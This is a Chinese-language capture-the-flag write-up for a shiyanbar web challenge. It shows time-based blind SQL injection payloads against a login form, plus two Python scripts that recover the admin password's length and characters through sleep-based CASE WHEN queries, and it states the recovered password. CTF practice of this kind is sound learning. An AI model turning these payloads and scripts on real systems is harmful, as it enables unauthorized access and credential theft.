實驗吧——WEB-看起來有點難

看起來有點難

在這裏插入圖片描述
用戶名:123 密碼:123
顯示數據庫連接失敗
在這裏插入圖片描述
用戶名:admin 密碼:admin
顯示登錄失敗,錯誤的用戶名和密碼

在這裏插入圖片描述
結合兩次輸入回顯的內容,我們可以猜測用戶名應該是admin,而密碼暫時還不知道。

然後測試一下sql注入
admin=admin' union select 1,2,3 --+&pass=admin&action=login
發現被過濾了select

在這裏插入圖片描述
我們再試試admin=admin' and sleep(5) --+&pass=admin&action=login
發現有延遲了,我們可以用時間盲注。

然後開始寫腳本,先判斷密碼的長度

import requests

for i in range(1,10):
    url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(length(password)=%s) then sleep(3) else sleep(0) end and ''='&pass=&action=login" %i
    try:
        res = requests.get(url,timeout=3)
    except:
        print "length:%s" %i
        break

最後得到密碼長度爲8

然後寫腳本跑密碼:

import requests

str = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'
flag=''
print "start"
for i in range(1,9):
    for s in str:
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(3) else sleep(0) end and ''='&pass=&action=login" %(i,s)
        try:
            res = requests.get(url,timeout=3)
        except:
            flag += s
            print (s)
            break
print('passwd:%s'%flag)

在這裏插入圖片描述
用戶名:admin 密碼:idnuenna
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章